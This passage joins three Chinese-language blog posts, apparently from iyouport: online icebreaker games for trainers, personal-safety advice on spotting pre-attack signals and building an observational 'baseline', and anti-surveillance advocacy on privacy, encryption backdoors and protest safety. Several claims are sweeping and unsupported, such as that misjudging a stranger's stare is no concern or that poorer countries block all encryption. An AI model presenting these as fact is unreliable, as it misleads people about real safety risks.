或者，您也可以把参与者分成几个小组，给每个小组分配一个或两个问题，让小组中的每个人都能回答。

一些问题的例子包括：

- 是否有完美的东西？
- 你最想去哪里，为什么？
- 你认识的最有趣的人是谁？
- 你愿意穿越到过去或未来生活一周吗？
- 对你来说，“和平” 的含义是什么？
- 你信任谁，为什么？
- 你会如何用三个词来描述你的未来？
- 如果你能回到15岁的时候，你会给15岁的自己什么建议？
- 你对财富的定义是什么，为什么？
- 你今天能做什么，是一年前没有能力做到的？
- 等等 ……

📌 目的是让所有人都能参与进来，体验团队归属感。以上只是案例，请注意，很建议您将问题设计为贴合您的培训主题。

您可以使用的在线工具：

- 分组讨论室（很多网络会议平台都有）
- 在线白板和聊天室

3、‘三言两语’ 破冰

「图」

这是一个很好的热身活动，也可以用来讨论适应变化的环境和脚踏实地思考的重要性。

活动说明：

a. 要求参与者就一个随机的话题达成一致。主题可以是任何东西，从食物到狗、再到体育比赛等等。

b. 解释说，每个人都应该为这个话题贡献三个词（每次只能贡献三个词），参与者将轮流贡献。

c. 鼓励参与者说出他们想到的前三个词。是否有意义并不重要。

d. 尽量快速地从一个人转向另一个人。

您可以使用的在线工具：

在线白板、聊天板、其他协作工具，如 Padlet 或 Lino.

4、‘同与不同’ 团队建设游戏

「图」

目的是了解其他人的信息。因此，这个活动既可以是一个很好的破冰活动，也可以是一个既定团队中的人们更好地相互了解和沟通的方式。

活动说明：

a. 将您的参与者分成3人或更多人的小组，并将他们分配到分组讨论室。

b. 要求每个小组在在线白板或虚拟便签上写下他们所有有趣的共同点（要求他们避免明显的事，如都是男人或女人）和每个参与者的独特之处。他们将有5分钟的时间来完成这项任务。

c. 在5分钟结束时，要求每个小组通过在线白板向团队其他成员分享他们的清单。

您可以使用的在线工具：

- 分组讨论室
- 在线白板、聊天板、其他协作工具，如 Padlet 或 Lino。

5、‘大乐透中奖’ 暖场活动

「图」

这个游戏很适合作为热身，让参与者相互熟悉，也可以进行创造性思考的激励。

学员可以一起讨论，也可以根据人数的多少分到不同的小组。

游戏说明：

a. 向参与者解释，想象他们刚刚中了彩票。他们赢得了2500万欧元、英镑、美元、人民币的大额奖金。

b. 给参与者5分钟的时间，让他们列举出用这笔钱要做的所有事。只要他们能在5分钟内写出来，就可以不限数量。

c. 5分钟后，请大家谈谈自己的清单，并进行讨论。

d. 如果您愿意，可以再将清单上的项目进行逻辑分类，您会发现大多数答案会按照下面这些列表扩展：

- 物质项目
- 朋友和家人
- 旅行和奢侈品
- 还可能出现其他一些类别

e. 给小组5分钟的时间来讨论这个清单。这通常会很容易进行。

您可以使用的在线工具：

- Breakout rooms
- 在线白板、聊天板、其他协作工具，如Padlet或Lino。

6、讲故事破冰活动

「图」

由于这个游戏的创造性和合作性，它是一个很好的活动，既可以作为破冰活动，也可以作为团队建设活动。它也可以用于创意培训课程。

游戏说明：

a. 在培训课之前，准备一些文件或板子（可以使用MS Word或用图像处理程序制作板子），每个板子上有4张图片。

b. 在培训当天，将参与者分成 4 人一组，在分组室里，给每组分配一个带有照片的文件。

c. 给各组10分钟的时间看照片，并创作他们的叙事 —— 创造一个故事，将四张图片联系起来。

d. 10分钟结束后，请每个小组在虚拟板上分享他们的故事，并用最多

3分钟的时间来讲述他们的图片故事。然后让其他小组建议他们如何发展这个故事，以及他们是否会以不同的方式使用这些图片。

您可以使用的在线工具：

- Breakout rooms
- 在线白板、聊天板、其他协作工具，如Padlet或Lino。

7. 互相介绍

「图」

这是一个很好的活动，可以让参与者相互了解，使他们发现自己 *处在一个熟悉的环境中*。

学员可以在课前、自己的时间、或课中进行这项活动。

活动说明：

a. 将参与者分成两组。

b. 给他们一份问题清单，让他们互相询问。

c. 要求每对参与者通过电子邮件或在分组讨论室中互相采访。

d. 当所有参与者在同一间虚拟房间里聚集在一起时，每个参与者将介绍他们采访的参与者。

您可以使用的在线工具:

- Breakout rooms
- Email
- Chats

8. “希望与恐惧”

「图」

这是一个经典的破冰活动，它是一个很好的反思工具，也可以评估学员对培训的期望。

说明：

a. 请学员写下他们最大的希望（例如，对本次会议、本年度或某个具体项目），然后写下他们最大的恐惧。

b. 在面对面的课堂上，学员们可以通过例如将每个答案写在不同颜色的便签上来区分答案。比如希望是绿色的，恐惧是红色的。

c. 在线上，您需要找到另一种方法来区分它们。例如，您可以使用 Padlet 或 Lino，它们可以让你创建各种颜色的虚拟便签。

d. 先读出所有的希望，再读出恐惧，然后讨论。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具

9. 童年梦想

「图」

这个破冰游戏对于开始讨论人的一生中优先事项和目标如何变化很有用。

说明：

a. 请学员在虚拟板上贴出他们的童年梦想，并将其与他们现在的愿望联系起来。

b. 您可以让学员进行集体讨论，也可以让学员分组讨论。

c. 最后对所有参与者的贡献进行总结，再进行集体讨论。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具

10. 拍个照

「图」

这是一个有趣的活动，可以很好的利用视觉和创意让大家相互认识。

活动说明：

a. 要求参与者拍摄一张照片。

b. 通常，您会选择一个特定的主题。例如，请学员拍一张他们的鞋子的照片，或者拍一张他们工作站上的东西的照片，或者拍一张他们窗外的风景的照片。

c. 记得要求学员在培训课程开始前拍下照片并上传，否则如果实时上传，可能会占用培训课程的太多时间。

d. 要求学员在虚拟板上分享图片。

e. 开始讨论。例如，您可以问人们为什么选择办公桌上的那个特定物品，或者他们最喜欢从窗口看到的景色是什么等等。

每一种选择就是有原因的，虽然不一定能被准确的认识到。在拍照后的互动过程中，培训师可以引导学员进行思考，以发现自己潜在的意向。

您可以使用的在线工具：

- 在线白板、聊天板，其他协作工具。

11. “提问” 破冰

「图」

这是让参与者以轻松的方式相互了解的好方法。

记得要问一些轻松的问题，因为您希望以积极的态度开始您的培训课程。

活动说明：

a. 向您的参与者提出一系列的问题。例如，你最喜欢的食物是什么，你最喜欢的旅行地点是什么，你在哪里出生等等？

b. 参与者可以直接在聊天板上写出答案，或者发布一张图片或一个链接。

c. 与所有参与者分享答案，让他们猜猜是谁给出了每个答案。

您需要问那些每个人都可以说几句的问题，如果您的培训课程有任何

禁忌，比如参与者都是匿名的，您就不能询问那些会暴露参与者身份的问题。轻松愉快和幽默的问题容易带来协调性的气氛，让人们感觉到自己在一个集体中有一席之地。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具
- 允许您创建调查问卷的工具，如 Survey Monkey 或 Google Forms 或wiki，如 Slimiwiki

12. “展示地图“ 趣味活动

「图」

如果您的参与者位于许多不同的地理位置，这是一个很好的活动。

活动说明：

a. 在屏幕上显示一张地图（如果参与者位于世界各地，可以是世界地图，如果他们都在同一个国家但在不同的地方，则可以是一个国家的地图）。

b. 询问参与者的大致位置。

c. 向您的参与者提问，例如他们在那里生活了多久或其他轻松的问题。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具
- 允许您创建调查问卷的工具，如 Survey Monkey 或 Google Forms 或 wiki，如 Slimiwiki。

13. ‘太空迷航’

「图」

这个活动除了问一些普通的问题之外，还可以通过其他方式来了解参与者。

活动说明：

a. 请参与者想象他们生活在一个空间站中。空间站发生了故障，他们必须撤离。他们只被允许带走5件物品。他们会选择哪些物品？

b. 请参与者在聊天框中分享他们的答案，解释他们为什么选择这五件物品。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具。
- 允许您创建调查问卷的工具

14、 一词（或一图）活动

「图」

这是另一个适合参与者创造性地自我介绍的活动。

活动说明：

a. 请参与者选择一个最能描述他们或他们的生活的词，并解释原因。

b. 或者，您可以要求他们选择一张图片（例如，他们可以从互联网上下载图片或用智能手机拍照）。

c. 请他们通过聊天功能或在虚拟白板上分享他们的答案。

您可以使用的在线工具包括：

- 在线白板、聊天板、其他协作工具、
- 允许您创建调查问卷的工具

15、“随机一物”

「图」

这是一个有趣的破冰游戏，旨在让参与者感到放松，并创造一种社区感。如果需要的话，您也可以在感觉到参与者注意力流失时，将其作为一种激励手段。

游戏说明：

a. 请一名参与者在自己的房间里随机挑选一件物品，不要告诉任何人

它是什么。

b. 参与者将必须通过提出需要回答 “是” 或 ”否” 的问题来猜测它是什么。

您可以使用的在线工具：

您可以使用聊天板，但这不是必须的；可以通过发言来开展活动，也许可以用虚拟白板来记录分数。如果您愿意，也可以把它变成一场比赛，猜对最多物品的参与者获胜。

16. “完成目标” 在线小组活动

「图」

这是一项关注积极事物（即 人们的成就）的活动。也是一种建立人际关系的工具，因为参与者可能会对实现小组中另一个人已经实现的目标感兴趣，他们可能会向其请教。

说明：

a. 请参与者说说他们在过去一年中实现了什么目标（不管多小）。

b. 讨论。您可以通过提出一个问题来促进讨论，比如人们实现目标时的感受，或者他们认为什么技能对实现目标很重要。

c. 您可以在聊天或虚拟板上发布成就清单。

您可以使用的在线工具：

可以使用聊天板，但这不是必须的。可以通过发言来开展活动，也许可以使用虚拟板来总结最后的讨论，并强调从每个人的经验中可以学到什么。

17、Bingo

「图」

这是一个经典的破冰方法，可以改编为在线教学。

在传统的面对面教学中，您会准备一张桌子，上面有一系列有趣的事实，然后给每个参与者一份表格，这样他们就可以在房间里走动，以

便找到符合这些事实描述的人。

说明：

a. 要在网上开展活动，请用有趣的事实创建一个5乘5的表格，表格的每个框都有一个。例如：您可以写诸如：会说两种以上的语言，去过阿根廷等等。或者，最好将这些事实与培训课的主题联系起来。

b. 在课前或课中与您的学员分享同桌的文件。您可以通过电子邮件，通过网络会议系统的文件共享功能，或通过在线共享工具等。另外，您也可以使用在线协作工具进行实时活动。

c. 请参与者在适用于他们的每个陈述下写上他们的名字。

d. 要求参与者分享答案并进行讨论。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具
- 允许您创建调查问卷的工具
- 电子邮件

18、“兴趣与爱好” 在线活动

「图」

这项活动有助于参与者相互了解，也可以充满乐趣。

活动说明：

a. 请参与者发布三个反映自己爱好的链接。

b. 其他参与者必须猜测他们的兴趣爱好是什么。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具

19、“时光机”

「图」

这个活动适合喜欢历史的朋友，作为培训师，它可以帮助您在破冰活动中引入一点想象力。

活动说明：

a. 问您的参与者：“如果你可以回到过去或到达未来，你会去哪里？为什么？” 然后您可以接着问：“在那里有没有一个你想认识的人？”。

b. 请参与者分享答案。

您可以使用的在线工具：

- 在线白板、聊天板、其他协作工具
- 允许您创建调查问卷的工具

好啦，就是这样。也许您还可以想到更多更有趣的破冰游戏，或者更加符合您的培训计划的游戏，请尽情发挥想象力。

📌 不论是在线培训还是组织社区、或者运作远程行动主义团队，它都绝不是简单的聊天，您必需调动每个人的参与积极性、让每个人获得发挥自己的特产的荣耀感。因为你们有一个共同的目标，为了这一目标所有人一起努力。

下一集中我们将探讨一些学习风格，它们各自适合不同的培训项目和协作主题，您可以任意组合它们，以更为贴合您的现实目标。我们下次见！○

—— 未完待续 ——

原文

准确的情报和判断：基准线 — 在灾难中幸存的方法（2） - iyouport

你应该了解的现实

您的观察和记忆的能力对于防御来说至关重要 ……

欢迎回来！

如果您错过了上一集内容，可以在这里回顾《活下去需要很多知识和技能：在灾难中幸存的方法（1）- 七点规则和态势感知》。

人们之所以难以躲避灾祸，很大程度上是由于此前完全没有意识到危险会发生。这是一种个人层面的情报失误。

很多受害人曾表示，他们完全不知道会遭遇袭击。但事实上，绝大多数袭击者在行动之前都会暴露一些信号；或多或少，以各种形式体现，包括比如眼神接触、跟随你的步速等等，只要您能保持黄色态势的警觉习惯，就不会容易遇到剑拔弩张的红色态势局面。

预发信号可用来描述一个人在特定形势下将会采取的可预见的行为模式。

您必须了解一些可辨认的的预发信号，以便及时作出反应。

预发信号1#：盯视

「图」

在将你锁定为攻击目标之后，攻击者会盯住你一段时间，这是为了寻找最恰当的时机。这个时间长度足够令人感觉不适。

如果你注意到有人盯着你的时间过长，就应该提醒警惕了。你可以迅速穿越街道寻求帮助，或者快速采取反追踪策略，不惜一切代价以逃离对方的视野。

您无需担心误判，因为真正的攻击者会下定决心追踪你，就像捕食者用目光锁定猎物那样。

预发信号2#：步速

「图」

所有人都在街上走，采取的都是自己舒适的步速；而只有那些心怀不良意图的人才会跟随你的步速。

与陌生人保持同样的步速对人类而言是很不自然的，于是这是一个很容易捕捉到的信号—您会意识到自己正在被跟踪。

- 更多现实中的反追踪反侦查技巧，详见 列表-1 中的 “反侦察” 板块

请注意：这一点对汽车来说也同样适用。

如果在公路上你发现你的车子和别的车子并排行驶，其中一辆车就必定会加速或减速。

如果你改变自己的车速就会发现，追踪者也会改变车速以试图与你保持一致。这就是一个明显的信号，意味着你应该迅速想办法逃离以保证安全。

尤其是，如果你是敏感人士，并且正在参与一项保密的行动，途中你发现尾随车辆的存在，请注意：你的对手很可能不止一个，当您成功甩掉其中一辆车子时，在下一个路口可能出现另一辆车子跟上你；您需要快速记住尾随车辆的特征/车牌，以便通知队友，以及在接下来的行动者锁定对手。

- 不要错过我们的记忆力训练系列！

预发信号3#：注意力干扰

「图」

还记得上一集中漂亮女士借火点烟的案例吗？—— 诱导目标分心是攻击者的最常用手段；这一手段会表现为很多种形式，比如一位看起来可怜的老妇人急匆匆地请求你的帮助、甚至一个普通的小孩子走过来和你说话，等等 …… 这种情况下您的注意力首先不能放在美女、

老妇人和小孩子身上，而是你的盲区—— 你的背后及两侧。

大多数攻击者都是团队行动的，尤其是政府间谍，其中一个人专门负责诱导，目的是锁定你的注意力在无关紧要的东西上，并因此拉低你的态势警觉度。

打破正常化偏见

「图」

正常化偏见就是人类处理意外变化时的表现—— 是一种应付令人不快事件和灾难的方法。心理应激反应。

人类天生就害怕变数。每当有大事即将发生或正在发生时，例如，灾难性流行病的爆发、飓风、恐袭等等，人们会下意识地在心里竭尽全力将事态 “正常化”。

就如911幸存者所言：“给我一百万年我也不可能想到会遭受这样的袭击，它完全不在我的考虑范围内，我的大脑无法应付这个” ……

正常化偏见是人类大脑的一种自我保护机制，但是，我们必须学会抵抗这种偏见，因为它非常危险。

👆 **每一种** 有效的行动都需要事先充分的情报、和完善的情报分析，情报的目的就是给你时间打破正常化偏见，以作出先验的风险计算。

正是这种正常化偏见强迫人们以为 “一切都会没事”，即将到来的灾难 “可以控制”。这就会将自己置于危险的境地。

如果对某个事件可能造成的影响没有清醒的认识，您就不可能做出有效的应对准备。如果放任不管，正常化偏见就会导致人们做出危险的行为。比如下面这样：

人类习惯的思考方式有很多缺陷，最明显的比如，认为某件事从未发生过，那么它就 “永远不会发生”。这样的想法在碰到新情况时就难以做出反应。

这并不是说您必须在任何时候都保持忧心忡忡，绝对不是，而是说，您需要认识到有这么一种东西它叫正常化偏见，随时都在误导您的决策—— 您需要学会控制的心态，这样才能发挥敏锐的态势感知力。

建立基准线的秘诀

「图」

那么，如何判断一个看似正常的环境是否会变得危险呢？

如何搜集细微线索才能明白某事即将发生—— 情况并不像表面看起来那样？

这就是基准线能帮您做到的。

👆建立有效的基准线需要您注意某个具体场所或某个人行为上的重大或细微的变化。

也就是说，您首先需要对其他人和所处环境的情报进行快速和准确的收集。

福尔摩斯的故事尽人皆知，其中充分体现了基准线的原理。

比如，夏洛克初识华生时他随意问到："伊拉克还是阿富汗？" 根据华生的回答（阿富汗）以及同他共处的几秒钟时间。夏洛克就可以判断出，华生是一个受过伤的军医，他是来看理疗师的。而且理疗师认为华生的跛足是源于身心失调。

华生自然对夏洛克的精准判断目瞪口呆，当他问起夏洛克是如何知道的时候，夏洛克回答："我事先不知道，我是靠观察发现的"。

这就是基准线的秘诀。

夏洛克解释说："你的发型、你对自己的严格要求。说明你出身军队；进门后你说过曾在巴茨受训，因此是军医。你的脸是棕褐色的，但是与手腕以上的肤色不一致—— 你一定出过国，但不是为了晒日光浴。走路时跛足很严重，但站立时并没有倚着椅子，好像你已经忘了自己的脚，所以至少有部分原因是身心失调。这就意味着，你当时受的可能是外伤—— 那么就是在行动中受伤的。在行动中受伤，脸棕褐色—— 阿富汗或伊拉克。"

那么，究竟何为基准线

「图」

你可以保持黄色态势，警惕周围的环境，观察哪些正常哪些不正常；

但是，如果你的大脑无法让你看清楚或者记忆准确，并做出反应，那么你就不可能采取适当的行动保证安全。

要判断情况是否正常—— 无论是针对个人还是某个地方，你都需要设置一个基准线。

基准线指的是一种非正式的的衡量标准，用以判断形势正常与否。

比如，当一个好友告诉你："嘿，你最近看起来满面红光啊"，这就是一种成分的比较，因为他知道你"平时"什么样，也就是说日常标准—— 这就是他了解你的基准线。

他能够注意到，你是不是晒过太阳、是不是休息得很好、是否心事重重，等等。

看到没，这一点都不难。如果孩子平时胃口特别好，而今天忽然说不饿，那么作为父母，您肯定知道出问题了。要么孩子身体不舒服，要么是零食吃太多了。当然对于其他小孩子来说这也许很正常。

这个比喻也许会产生一些误解，也许您会觉得"我肯定知道我的孩子和我的哥们的基准线"，是啊，因为您对他们很熟悉；但是，在防御灾难的用例上，您的熟悉范围必须更大，而且要具备高人一等的记忆力。「不要错过👆记忆力训练营」

简单说就是，您需要能 **准确** 判断您所处的环境中哪些属于正常、哪些属于不正常。我们在反侦查的内容中也强调过这点。

环境也有基准线。

就是那些摄像头的用例之一。

比如一栋银行大楼。摄像头传感器摄取信息时能够判断何为警戒线的正常状态；如果超出正常范围的事发生，运营中心就会收到通知。

这不是完美的，而且需要不断调整标准，但是原理是一样的。举个例子，几个背着大型双肩背包的人走入酒店大堂的餐厅。大型双肩背包是日常范围的危险信号—— 可能需要怀疑里面有武器、炸弹之类的危险品；但是，如果您知道一支游泳队正下榻该酒店，并且他们在准备参加比赛，这种背包可能就不足为奇了。

换句话说，如果整个大厅里只有一个人背着这种背包，并且没有例如游泳队这类背景信息，那么你应该提醒警惕。

当然，袭击者也很聪明，他们会实现勘查环境情报，并选择例如游泳队出场的背景，以化妆成队员的一部分，混入攻击地点。

但他们的神色会暴露他们与众不同。这需要您及时捕捉和甄别。

如果有人动过您的桌子，您能及时发现吗，即便对方没有拿走任何东西？如果你居住的街道存在潜在威胁，您能辨别得出吗？如果你的队友忽然“表现奇怪”，您如何判断他是否已经背叛你们的组织？……

👌要做到这一切最基本的就是：您的强大的观察和记忆能力。也是为什么我们会将“超强记忆力”系列单独形成一个板块，因为它就像砖，是形成各种建筑（行动/策划）的基础。

从人类标准行为开始

「图」

显然大多数人不可能追求夏洛特那种推理能力，但是您肯定可以从中学到东西，从而帮助您在日常中更准确地识别人和事物。

尤其是，懂得如何在微笑细节上了解一个人和一件事，至关重要。

我们所受的教育让我们努力去欣赏彼此的差异，我们被告知，接受他人不同的行为是一种礼仪。但是，您应该知道，正常、非同寻常、不能接受，对于他人的行为来说有可能是上述任何一种情况；它还会受到诸如文化、价值观、和态度等其他因素的影响。汝之蜜糖彼之砒霜。您需要全方位地考虑才能做出准确的判断。

比如，在法律事务所的人穿西装打领带肯定被认为是非常得体的，但如果一名建筑工人穿这一身露面，也许就显得怪异了。观看体育比赛时大呼小叫是正常的，但看话剧时这么做就显得很没规矩 ……

人类的标准行为会根据不同场所而发生变化，根据直觉，如果有人的行为异常，您就需要谨慎行事。

以下几点可以作为参考标准，也许不够完整，但基本面是足够的：

1、这个人的衣着符合当前的天气状况吗？明明已经很暖和了却还穿着厚重的冬季外套？

2、这个人做出了奇怪的手势和举止吗？

3、这个人出现在了他不应该出现的地方吗？

4、这个人是否对你和其他人的关注过于密切？

5、这个人看起来是不是像在跟踪某个人？

6、这个人打量四周的时候是否看起来有点紧张？换句话说，他的脑袋是不是不停地转向四方？

以上这些说起来并不难，但要真正做到—— 也就是令其有效—— 却不那么容易。这需要日常的训练，有意地培养自己这种观察和觉察的能力，记忆的能力，分析判断的能力。

你永远都无法预知何时何地会面临生死攸关的境况。

如果没有食物和水，且得不到外界救援的情况下，您和您的家人能幸存吗？当您驾车外出时，如果遭遇严重危机，您能坚持多久？如果参与敏感聚会途中被绑架，您可以如何脱身？……

人们经常不会去考虑这些问题，这就是为什么普普通通的攻击模式也能屡屡得手。

希望本系列内容能给您一些帮助。

本系列前两集讲述的都是心理层面的防御，这是一个最基本的层面，接下来我们将讲述现实行动力层面的防御方法。从装备开始。

好了，我们下次见！〇

——未完待续——

原文

构建防御直觉是生存的基本功：变得难以被追踪的简单方法（2） - iyouport

你应该了解的现实

【2020年3月18日存档】构建防御直觉需要一定程度的基础知识；幸运的是仅仅是基础知识就可以帮您有效地获得安全，您并不需要去理解技术深层的逻辑

本系列文章是给普通人的 —— 即 大众 —— 的防御策略，其中引用的所有文章都是重要的。简单说，这些知识应该且急需普及。

如果您还没有读过第一部分内容，在这里看到：《在不自由中创造自己的自由：变得难以被追踪的简单方法（1）》。

“变得难以被追踪” 就是要成为自己，而不是害怕成为自己。要安心地完成自己的心愿，而不必担惊受怕。

请不要误会任何关于匿名、分身术、角色扮演技巧中所强调的保护性措施 —— 它们都是为了保全您成为自己的自由。

- 《如何建立一个匿名社交媒体账户以保护个人数据的私密性？》
- 《分身术完整指南：妥善管理您的在线身份并获得安全的方法》
- 《角色扮演：行动者刚需》

因为没有任何人能在被监视的状态下成为自己 —— 只有您成功摆脱了监视状态，你才是你。

这里是关于在现实世界和在线环境中索回您的基本人权所需要的东西，您将学习如何控制哪些类型的信息、以及如何向他人显示可被观察和跟踪的信息量。

并不是说要您放弃所有技术，而只是放弃某些技术方面 —— 这些方面一直在监视、收集、窃取和出售您的个人信息，这些信息本来只属

于您自己，而不是其他任何人。掌握它就是您的基本人权。

请记住，这是一个由富人控制的、并通过奴役普通人仅仅令富人受益的世界。获得自由的第一步就是摆脱它。

- 《你只是寡头们营造的数字种植园里的农奴：改变被奴役的命运》

社会上贫富之间的鸿沟正在迅速加剧。富人控制着社会的几乎所有方面，但他们不想让您知道。他们与我们所有其他人所遵循的司法体系不同。

我们中很多人日复一日地挣扎以维持生计，为养活自己和家人，而富人生下来就继承了数百万美元甚至数十亿美元，他们以欺诈剥削穷人和中产阶级为生。他们的钱不是用来吃喝的，而是游戏政治，通过推进那些能令他们自己受益的立法以加固阶级地位。

- 《动物农场的世界》
- 《富人的钱用来做什么》

富人有能力做出选择，不把自己的数据和注意力作为产品出售。穷人和中产阶级就没有同样的资源来实现这个目标。技术曾经是为富人服务的。而现在，富人正在付钱以避免技术。

- 《穷人的屏幕》

当无法避免的时候必需保持警惕

「图」

虽然大量用户会看到应用程序的使用对他们和其他人完全无害的一面，但是，政府及其情报机构将应用程序或应用程序商店视为为网络间谍工具 —— 将恶意代码注入应用程序的机会。

- 栏目《政府的间谍行为》
- 《Google Play商店托管Exodus政府级恶意软件》（英语）

长期以来，随着新技术的不断出现，基本人权不断受到践踏；尽管如此，那些砖家给出的解决方案似乎非常简单—— “只是不要使用它”；但是，事实上并不是那么简单的。

例如，当雇主要求雇员在其智能手机上安装指定的多因素身份验证

（MFA）应用程序以连接到公司的网络为提高数据安全性时，该雇员被迫做出决定是关于究竟是“交出”手机，还是放弃这份工作。

对于某些人来说，这就是放弃的理由。已经有大量的证据证明雇主在其提供的计算机系统上监视雇员的一举一动，你甚至无法打官司，因为法律认为这些情况通常不存在对个人隐私的合理期望 —— 因为你接受了雇主提供的电脑，因为你不得不养活自己。

- 《你的老板可能是比 Facebook、谷歌更大的老大哥》
- 《你正在为一个贴身老大哥努力工作：地狱的新常态》

MFA应用程序本身通常不是问题，因为大多数操作都是良性的，它们不侵犯隐私。但就像在智能手机上安装 Facebook App 一样，它收集来自其他 Apps 的数据、电话设备详细信息、以及网络浏览历史记录，以便与 Facebook 共享。

对于注重隐私的个人来说，这是一个主要问题。但对于其他可能不知道或无动于衷的人来说，也许不是。这完全取决于你对个人权利的关注程度。

这里的建议是请注意您在公司网络上访问的所有网站和应用程序。你的雇主极有可能正在监视此类活动，在某些极端情况下，它可能会被用来对您进行绩效评估，甚至成为终止雇佣合同的理由。

并且不要使用公司电子设备做任何与私人有关的事，也不要把自己的手机连接到公司网络（在上面文章中看到详细自我保护建议）。

这就是防御直觉：当你看不到老大哥在哪的时候，你必须假定它无处不在，从而全方面的保持警惕。

在反加密战争中强调防御直觉

「图」

“鼓励互联网公司为其产品和服务建立合法的访问解决方案，包括加密的数据，以便执法部门和主管部门在数字证据被删除或托管在国外的IT服务器上或被加密的情况下，依旧能顺利访问……”—*G7 France, 2019*

反加密的战争在全球如火如荼，政府和执法机构为迫使 Big Tech 创建后门以破解加密想出来各种歪点子。以下只是仅举几例：

- 《美国可能禁止无法被破解的端到端加密通信》
- 《反加密的战争正在升级：美国、英国和澳大利亚政府说”我们要后门”》
- 《Facebook找到了让端对端加密失败的方法》
- 《关于幽灵用户和开裆裤》
- 《中国通过“密码法”，是很可能其中最诡异的手段》

这是一场持续不断的战斗，在反抗者令其变得更好之前，它只会变得更糟。

澳大利亚政府官员通过了一项法律，要求公司为情报和执法机构提供加密后门，这绝对是对数字隐私的公然侵犯，并且完全表明缺乏对基本人权的尊重。

所有这一切恶行都以所谓的“国家安全”的名义进行。“国家安全”只是政权稳固的委婉说法，并且它暗示其中包含“人民的利益”，事实上哪里都没有人民的利益，人民只是必需付出的代价。

您可以打赌，全世界其他国家的政府都在密切关注这项法律，并将尝试通过类似的立法 —— 而不仅仅是中国。

当然，如果您住在第三世界国家/地区，那么无论如何加密、signal、telegram、和VPN都会被阻止。使用隐写术进行交流吧，它将成为您最好的朋友 —— 这是可行的出路。

- 《隐写术（1）》
- 《隐写术（2）》

在各方面保持警惕从来都没错

「图」

你不应该在看到刀子后才想到血，那就为时已晚了。正如本文的主题所强调的，在各方面保持一种警觉至关重要。

对富人的警觉、对寡头企业的警觉、对各种便利性诱惑的警觉，当立法没有听取并充分思考你的意见时，保持对法律的警觉。

到目前为止，苹果公司是大型科技公司中喊隐私喊得最响的一个，尽管单单这点并不足以让你想为他们的产品支付同类其他产品2至3倍的价格。

但是请不要忘了：

- 《声称“给你隐私”但不给你自由：看 Apple 如何把玩文字游戏》
- 《苹果的Siri 正在偷听你的私人谈话》
- 《以隐私为目的的斗争如何让你变成了监视的盟友》

所有这些寡头技术公司都在不断地监视跟踪这不是秘密，这就是监视资本主义的本质。你必需自己保护自己，作为普通人，我们很难指望任何人。

- 《移除你的绵羊墙：给普通人的5个防御课程》
- 《像普通人那样保护您的数字生活安全》

香港的抗议活动是去年的全球热点，从某种意义上说，抗议者采取了多种预防措施来保护自己的真实身份，他们戴着口罩面罩、使用现金，并将其通信限制在可提供端到端加密的应用程序中。

- 《香港的抗议活动中再次强调了你的脸如何成为武器》
- 《香港：年轻的抗议者擅长抵御数字监控（附安全须知）》

这绝不仅仅是香港的故事，它应该是全球反抗者的基本须知，因为如今没有任何一个国家的政权不会采取这些监视迫害方式瞄准活动家。

以下是在您行动之前必须了解的：

- 《指南：当您准备参加抗议活动 —— 自我保护措施》
- 《遮住脸部成为当今抗议者的首要目标》
- 《空中监视如何追踪抗议者？》
- 《消费无人机对抗示威者预示了一个危险的、无法无天的冲突时代》
- 《集会参与者有必要了解的基本安全措施》
- 《铁幕之下：全球反抗者如何对战监视者？》
- 《使用社交媒体时你必须注意什么？—— 更安全的抵抗》

显而易见，中国官员会使用社交媒体情报和监控录像加面部识别软件来揭示抗议者的真实身份。并将这些被识别出的个人添加到中国政府维护的“黑名单”中，并极有可能成为重点监视目标，从此再也没有安宁。

不必怀疑，所有政府都保留着类似的黑名单，尤其是政治异议、活动家、记者、边缘社区、人权维护者、人权律师 …… 在这里看到几个

例子：

- 《我被警察折磨至精神崩溃：现在我必须爬起来战斗》
- 《警察将活动家称为“国内极端分子”的五个荒谬理由》
- 《什么是秘密行动》
- 《联邦调查局将政治异见视为恐怖分子的恶行有着悠久的历史》
- 《警方滥用老大哥权力迫害公民活动家，如何反击？》
- 《大规模网络钓鱼、监视和在线攻击成为活动家不得不面对的危险》
- 《“帮派数据库”是什么？为什么据此就可以直接给无辜的市民定下重罪？》
- 当权者任何折腾他们不喜欢的人《What is “gang stalking?”》

你真的应该庆幸还有这些勇敢的香港抗议者与老大哥作斗争。

- 《美国和中国在监视公民方面引领全球》
- 《您应该了解的政府监视项目》
- 《来自中国和美国的政府监视：7个危险的用例》

当使用 Match.com、OkCupid、PlentyOfFish 或 Tinder 等约会网站时，您正在与一些直接捏住你的人权的公司共享最私密的数据。

亲密的聊天消息、吸毒习惯、收入水平、性偏好、简历、宗教观点、社会偏好等，这些只是在这些约会网站上收集的数据类型的几个例子。

这不仅仅是被收集的问题。就像 Ashley Madison（成人网站）在2015年遭到黑客入侵，被泄露的数据类型是高度个人化的，非常危险。之所以被泄漏正是因为一直不断的收集。

约会网站只是一个例子而已，在这点上，任何网站和应用程序都一样。

没有人会喜欢这样的事发生在自己身上。防止这种情况发生的唯一方法是尽力限制您在网上发布的信息。

这不是一个完美的策略，但由于缺乏有效的数字隐私法，我们在此问题上始终无法发表意见。

- 《为什么隐私保护法规并没能起到作用？》

在现实中保持防御直觉

「图」

也许是时候考虑不再使用 Airbnb 了，而只是预订酒店房间。有些人很扭曲，而且社会无能为力。

- 《如何从民宿网站挖掘大量重要情报？以及使用这些网站的人应该注意什么》
- 《如何找到旅店房间里隐藏的摄像头？》

如上的提示，每一次住店都要这样做；因为秘密监视是如此的普遍，防御直觉必须假定任何时候都有可能存在危险。

如今信息技术世界中普遍使用的电子产品或硬件使普通消费者对任何一种技术的工作方式都难以了解。人们可能知道他们购买的设备中芯片装在哪，但是，如果将它们拆开，绝大多数人将无法从中挑出不应该存在的东西。

有时，后门隐藏在设备的固件代码中，这可以使监视者远程监视设备。在过去十年左右的时间里，信息安全社区已经看到了越来越多的硬件后门植入示例，通常被称为供应链攻击。

- 《一周内两起供应链攻击：严重的状况已经不容小视》
- 《Supermicro 电路板本身就 Bug 缠身，那么为什么(中国)攻击者还需要植入物呢？》

如果没有正确的技能和知识来检查固件代码以及主板或芯片组的外观，这种类型的威胁将是巨大的，而且几乎是无法阻止的。

